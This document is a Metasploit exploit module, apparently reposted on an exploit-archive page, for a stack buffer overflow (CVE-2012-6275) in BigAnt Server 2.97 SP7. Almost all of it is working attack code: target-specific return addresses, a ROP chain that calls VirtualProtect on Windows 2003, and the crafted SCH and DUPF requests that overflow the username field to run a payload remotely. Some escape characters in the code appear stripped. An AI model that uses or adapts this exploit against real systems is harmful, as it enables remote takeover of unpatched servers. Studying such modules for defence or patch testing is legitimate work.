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BigAnt Server 2 SCH And DUPF Buffer Overflow

Posted on 20 February 2013

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
 super(update_info(info,
 'Name' => 'BigAnt Server 2 SCH And DUPF Buffer Overflow',
 'Description' => %q{
 This exploits a stack buffer overflow in BigAnt Server 2.97 SP7. The
 vulnerability is due to the dangerous usage of strcpy while handling errors. This
 module uses a combination of SCH and DUPF request to trigger the vulnerability, and
 has been tested successfully against version 2.97 SP7 over Windows XP SP3 and
 Windows 2003 SP2.
 },
 'Author' =>
 [
 'Hamburgers Maccoy', # Vulnerability discovery
 'juan vazquez' # Metasploit module
 ],
 'License' => MSF_LICENSE,
 'References' =>
 [
 [ 'CVE', '2012-6275' ],
 [ 'US-CERT-VU', '990652' ],
 [ 'BID', '57214' ],
 [ 'OSVDB', '89344' ]
 ],
 'Payload' =>
 {
 'Space' => 2500,
 'BadChars' => "x00x0ax0dx25x27",
 'DisableNops' => true,
 'PrependEncoder' => "x81xc4x54xf2xffxff" # Stack adjustment # add esp, -3500
 },
 'Platform' => 'win',
 'Targets' =>
 [
 [ 'BigAnt Server 2.97 SP7 / Windows XP SP3',
 {
 'Offset' => 629,
 'Ret' => 0x77c21ef4, # ppr from msvcrt
 'JmpESP' => 0x77c35459, # push esp # ret from msvcrt
 'FakeObject' => 0x77C60410 # .data from msvcrt
 }
 ],
 [ 'BigAnt Server 2.97 SP7 / Windows 2003 SP2',
 {
 'Offset' => 629,
 'Ret' => 0x77bb287a, # ppr from msvcrt
 'FakeObject' => 0x77bf2460, # .data from msvcrt
 :callback_rop => :w2003_sp2_rop
 }
 ]
 ],
 'Privileged' => true,
 'DefaultTarget' => 0,
 'DisclosureDate' => 'Jan 09 2013'))

 register_options([Opt::RPORT(6661)], self.class)
 end

 def junk(n=4)
 return rand_text_alpha(n).unpack("V")[0].to_i
 end

 def nop
 return make_nops(4).unpack("V")[0].to_i
 end

 def w2003_sp2_rop
 rop_gadgets =
 [
 0x77bc5d88, # POP EAX # RETN
 0x77ba1114, # <- *&VirtualProtect()
 0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
 junk,
 0x77bb0c86, # XCHG EAX,ESI # RETN
 0x77bc9801, # POP EBP # RETN
 0x77be2265, # ptr to 'push esp # ret'
 0x77bc5d88, # POP EAX # RETN
 0x03C0990F,
 0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx)
 0x77bb48d3, # POP EBX, RET
 0x77bf21e0, # .data
 0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
 0x77bbfc02, # POP ECX # RETN
 0x77bef001, # W pointer (lpOldProtect) (-> ecx)
 0x77bd8c04, # POP EDI # RETN
 0x77bd8c05, # ROP NOP (-> edi)
 0x77bc5d88, # POP EAX # RETN
 0x03c0984f,
 0x77bdd441, # SUB EAX, 03c0940f
 0x77bb8285, # XCHG EAX,EDX # RETN
 0x77bc5d88, # POP EAX # RETN
 nop,
 0x77be6591, # PUSHAD # ADD AL,0EF # RETN
 ].pack("V*")

 return rop_gadgets
 end

 def exploit

 sploit = rand_text_alpha(target['Offset'])
 sploit << [target.ret].pack("V")
 sploit << [target['FakeObject']].pack("V")
 sploit << [target['FakeObject']].pack("V")
 if target[:callback_rop] and self.respond_to?(target[:callback_rop])
 sploit << self.send(target[:callback_rop])
 else
 sploit << [target['JmpESP']].pack("V")
 end
 sploit << payload.encoded

 random_filename = rand_text_alpha(4)
 random_date = "#{rand_text_numeric(4)}-#{rand_text_numeric(2)}-#{rand_text_numeric(2)} #{rand_text_numeric(2)}:#{rand_text_numeric(2)}:#{rand_text_numeric(2)}"
 random_userid = rand_text_numeric(1)
 random_username = rand_text_alpha_lower(5)
 random_content = rand_text_alpha(10 + rand(10))

 sch = "SCH 16
"
 sch << "cmdid: 1
"
 sch << "content-length: 0
"
 sch << "content-type: Appliction/Download
"
 sch << "filename: #{random_filename}.txt
"
 sch << "modified: #{random_date}
"
 sch << "pclassid: 102
"
 sch << "pobjid: 1
"
 sch << "rootid: 1
"
 sch << "sendcheck: 1
"
 sch << "source_cmdname: DUPF
"
 sch << "source_content-length: 116619
"
 sch << "userid: #{random_userid}
"
 sch << "username: #{sploit}

"

 print_status("Trying target #{target.name}...")

 connect
 print_status("Sending SCH request...")
 sock.put(sch)
 res = sock.get_once
 if res.nil?
 fail_with(Exploit::Failure::Unknown, "No response to the SCH request")
 end
 if res=~ /scmderid: {(.*)}/
 scmderid = $1
 else
 fail_with(Exploit::Failure::UnexpectedReply, "scmderid value not found in the SCH response")
 end

 dupf = "DUPF 16
"
 dupf << "cmdid: 1
"
 dupf << "content-length: #{random_content.length}
"
 dupf << "content-type: Appliction/Download
"
 dupf << "filename: #{random_filename}.txt
"
 dupf << "modified: #{random_date}
"
 dupf << "pclassid: 102
"
 dupf << "pobjid: 1
"
 dupf << "rootid: 1
"
 dupf << "scmderid: {#{scmderid}}
"
 dupf << "sendcheck: 1
"
 dupf << "userid: #{random_userid}
"
 dupf << "username: #{random_username}

"
 dupf << random_content

 print_status("Sending DUPF request...")
 sock.put(dupf)
 #sock.get_once
 disconnect

 end

end

 

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